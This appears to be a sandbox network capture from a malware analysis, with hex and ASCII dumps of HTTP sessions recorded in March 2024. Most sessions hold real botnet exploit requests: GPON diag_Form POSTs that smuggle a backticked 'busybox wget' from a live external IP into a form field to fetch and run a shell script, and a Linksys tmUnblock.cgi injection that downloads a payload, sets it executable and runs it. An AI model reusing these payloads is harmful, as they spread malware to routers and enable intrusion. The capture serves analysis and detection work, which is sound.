3c 2f 74 69 74 6c 65 3e 0d 0a 20 20 20 20 3c 73 74 79 6c 65 3e 0d 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 65 38 65 62 65 62 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 4c 61 74 6f 2c 20 27 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 27 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 36 70 78 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 37 30 38 30 38 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 61 3a 6c 69 6e 6b 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 30 62 61 34 65 38 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 2c 0d 0a 20 20 20 20 20 20 20 20 73 74 72 6f 6e 67 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 35 30 30 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 70 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 32 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 76 65 72 66 6c 6f 77 3a 20 76 69 73 69 62 6c 65 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 62 75 74 74 6f 6e 2c 20 69 6e 70 75 74 2c 20 6f 70 74 67 72 6f 75 70 2c 20 73 65 6c 65 63 74 2c 20 74 65 78 74 61 72 65 61 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 3a 20 69 6e 68 65 72 69 74 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 63 65 6e 74 65 72 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 Data Ascii: <!DOCTYPE html><html lang="en"><head> <base href="/login/"> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=.85"> <meta http-equiv="pragma" content="no-cache"> <title>Web Page Blocked</title> <style> body { background-color: #e8ebeb; font-family: Lato, 'Helvetica Neue', Helvetica, Arial, sans-serif; font-size: 16px; margin: 0; color: #070808; } a:link { color: #0ba4e8; } b, strong { font-weight: 500; } p { line-height: 1.2em; } button { overflow: visible; } button, input, optgroup, select, textarea { color: inherit; font: inherit; margin: 0; } .center { t
Mar 21, 2024 05:26:26.354686022 CET	1280	IN	Data Raw: 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f Data Ascii: ext-align: center; margin-left: auto; margin-right: auto; } #dError, .msg { color: #d94949; margin: 20px 0; } fieldset .msg { mar
Mar 21, 2024 05:26:26.354698896 CET	1280	IN	Data Raw: 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 20 70 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 20 30 20 31 65 6d 3b 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 2e 72 65 73 70 6f 6e 73 65 20 70 3a Data Ascii: .response p { margin: 0 0 1em; } .response p:last-child { margin: 0; } .response b { color: #070808; } .response .msg b { color
Mar 21, 2024 05:26:26.354720116 CET	1280	IN	Data Raw: 32 56 4e 4f 33 47 31 75 69 4d 66 78 6c 77 49 4f 42 70 69 47 47 4a 56 37 76 43 69 51 71 30 52 4a 56 4a 71 61 78 55 68 6d 66 76 64 50 74 38 56 43 31 69 34 61 6f 31 41 72 56 45 72 73 71 42 54 59 36 4b 73 34 72 61 7a 57 62 57 35 33 41 45 46 45 39 56 Data Ascii: 2VNO3G1uiMfxlwIOBpiGGJV7vCiQq0RJVJqaxUhmfvdPt8VC1i4ao1ArVErsqBTY6Ks4razWbW53AEFE9VCr4eyqvXO0wm9u0wJCkFBRZE/VpI2tRqQXFuA9DJykRCVGpBZ2bd8W1l1fI5eCcnQOxsBaVmduen58HVmg0GlHtFST6yM/Pg+6eXmg8Vg97CwpEvf8rR2W0fHQPRT2xG0fFRNBP//2APP4DrPjeqZNQZiihbm8oKo
Mar 21, 2024 05:26:26.354772091 CET	1280	IN	Data Raw: 69 6f 70 67 30 72 44 6f 63 73 45 42 45 6e 66 76 77 51 36 65 4d 34 36 35 55 66 50 42 42 77 46 31 30 6b 38 71 47 45 6a 46 67 37 4a 56 58 51 46 31 56 42 66 71 58 58 71 49 57 45 35 47 54 31 43 58 2b 41 49 55 58 4c 6d 68 6c 57 71 31 35 73 4b 6d 70 4c Data Ascii: iopg0rDocsEBEnfvwQ6eM465UfPBBwF10k8qGEjFg7JVXQF1VBfqXXqIWE5GT1CX+AIUXLmhlWq15sKmpLVC7pNlmCMV8cv065L34ImQdPw47BYXde+ECZDQ0nCeidmytp7ahuM1QAbGTwaagLDL2Ol1uRNZ5cJjb33wT9pw7JwgSCp/Hg7YzbO/NPXMGn0yDAG2V7e2t/nJm9ymxyNgLNxIwFnTObgf7q6+C9vnnw4qJQk6+8Y
Mar 21, 2024 05:26:26.354789972 CET	717	IN	Data Raw: 4b 35 7a 2f 6f 36 37 4d 5a 5a 48 4c 65 7a 4d 6e 68 71 4e 52 73 4b 6a 6c 4a 77 37 5a 43 6b 6e 7a 6d 4c 52 32 67 49 4e 6d 70 4e 4a 49 67 7a 69 44 42 76 31 79 72 42 62 6c 4f 4a 77 78 37 46 42 42 6e 54 4e 67 6a 30 65 4f 54 57 42 4f 46 76 4f 72 78 65 Data Ascii: K5z/o67MZZHLezMnhqNRsKjlJw7ZCknzmLR2gINmpNJIgziDBv1yrBblOJwx7FBBnTNgj0eOTWBOFvOrxeK7g2lGIz5I+QmdR8h0BhSVmAIaswPf8V0j5AXFIsLhIcgF5a2HXwQrgKiu7V0dtL1S1to6G+6ykENRP3+BQC4mxLwYUNgA8XiiG1zJVHrwBlCSVoH7QEXOc7LQMZEeJbEZS5DdxTqIIXm3XyfO+d6sqKiwgkv8DR1

Session ID	Source IP	Source Port	Destination IP	Destination Port
1005	192.168.2.23	54940	2.17.221.212	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:26.175343037 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:26.427066088 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Thu, 21 Mar 2024 04:26:26 GMT Date: Thu, 21 Mar 2024 04:26:26 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 39 37 33 36 31 36 30 32 26 23 34 36 3b 31 37 31 30 39 39 35 31 38 36 26 23 34 36 3b 31 31 62 39 64 39 39 61 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.97361602.1710995186.11b9d99a</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1006	192.168.2.23	52624	154.216.169.176	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:26.214658976 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:26.519514084 CET	307	IN	HTTP/1.1 400 Bad Request Server: nginx Date: Thu, 21 Mar 2024 04:26:26 GMT Content-Type: text/html Content-Length: 150 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1007	192.168.2.23	45134	80.30.57.241	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:26.354751110 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1008	192.168.2.23	57662	165.23.33.214	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:26.354896069 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:26.481353998 CET	308	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:27 GMT Content-Type: text/html Content-Length: 166 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1009	192.168.2.23	44386	148.0.192.108	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:26.507549047 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:26.663746119 CET	346	IN	HTTP/1.1 400 Bad Request Content-Type:text/html; charset=UTF-8 Pragma:no-cache Cache-control:no-cache, no-store, max-age=0 Transfer-Encoding:chunked X-Frame-Options:SAMEORIGIN Connection:Keep-Alive X-XSS-Protection:1; mode=block Content-Security-Policy:default-src 'self' 'unsafe-inline' 'unsafe-eval' Content-Language:en
Mar 21, 2024 05:26:26.664182901 CET	17	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1010	192.168.2.23	60792	192.18.139.140	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:26.511562109 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:26.937649965 CET	175	IN	HTTP/1.1 400 Bad Request: missing required Host header Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 48 6f 73 74 20 68 65 61 64 65 72 Data Ascii: 400 Bad Request: missing required Host header
Mar 21, 2024 05:26:27.427225113 CET	175	IN	HTTP/1.1 400 Bad Request: missing required Host header Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3a 20 6d 69 73 73 69 6e 67 20 72 65 71 75 69 72 65 64 20 48 6f 73 74 20 68 65 61 64 65 72 Data Ascii: 400 Bad Request: missing required Host header

Session ID	Source IP	Source Port	Destination IP	Destination Port
1011	192.168.2.23	41778	180.235.246.247	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:26.614813089 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:26.888531923 CET	414	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:26 GMT Server: Apache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 189 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 55 4e cb 0e 82 30 10 bc f3 15 2b 77 59 34 1e 9b 1e 78 18 49 50 89 c1 03 c7 62 9b 40 82 14 db ad c6 bf b7 c0 c9 cb 24 b3 33 3b 33 6c 93 5d d3 ba a9 72 38 d5 e7 12 aa 7b 52 16 29 84 5b c4 22 af 8f 88 59 9d ad ca 3e 8a 11 f3 4b c8 03 d6 d1 73 e0 ac 53 42 7a 42 3d 0d 8a 1f e2 18 12 21 e1 a6 5e 4e 59 62 b8 9e 03 86 8b 8d b5 5a 7e e7 cf 1d ff 73 79 1e b0 89 37 da 19 68 8d fe 58 65 c0 aa 91 40 80 59 93 80 3a 41 1e 7a eb 05 f3 f6 fa 43 bb 41 c2 a8 09 dc 28 95 b1 24 46 19 b1 d6 00 fa 2c 9c 66 58 da 7c f5 bc 33 f8 01 ce 5b 1b f3 e2 00 00 00 Data Ascii: UN0+wY4xIPb@$3;3l]r8{R)["Y>KsSBzB=!^NYbZ~sy7hXe@Y:AzCA($F,fX\|3[
Mar 21, 2024 05:26:27.872000933 CET	414	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:26:26 GMT Server: Apache Vary: Accept-Encoding Content-Encoding: gzip Content-Length: 189 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 1f 8b 08 00 00 00 00 00 00 03 55 4e cb 0e 82 30 10 bc f3 15 2b 77 59 34 1e 9b 1e 78 18 49 50 89 c1 03 c7 62 9b 40 82 14 db ad c6 bf b7 c0 c9 cb 24 b3 33 3b 33 6c 93 5d d3 ba a9 72 38 d5 e7 12 aa 7b 52 16 29 84 5b c4 22 af 8f 88 59 9d ad ca 3e 8a 11 f3 4b c8 03 d6 d1 73 e0 ac 53 42 7a 42 3d 0d 8a 1f e2 18 12 21 e1 a6 5e 4e 59 62 b8 9e 03 86 8b 8d b5 5a 7e e7 cf 1d ff 73 79 1e b0 89 37 da 19 68 8d fe 58 65 c0 aa 91 40 80 59 93 80 3a 41 1e 7a eb 05 f3 f6 fa 43 bb 41 c2 a8 09 dc 28 95 b1 24 46 19 b1 d6 00 fa 2c 9c 66 58 da 7c f5 bc 33 f8 01 ce 5b 1b f3 e2 00 00 00 Data Ascii: UN0+wY4xIPb@$3;3l]r8{R)["Y>KsSBzB=!^NYbZ~sy7hXe@Y:AzCA($F,fX\|3[

Session ID	Source IP	Source Port	Destination IP	Destination Port
1012	192.168.2.23	58046	119.91.153.60	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:26.886089087 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:28.043519974 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:29.199508905 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:26:29.588826895 CET	321	IN	HTTP/1.1 400 Bad Request Server: nginx/1.22.1 Date: Thu, 21 Mar 2024 04:26:29 GMT Content-Type: text/html Content-Length: 157 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.22.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1013	192.168.2.23	48264	172.65.200.184	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:26:27.030934095 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: 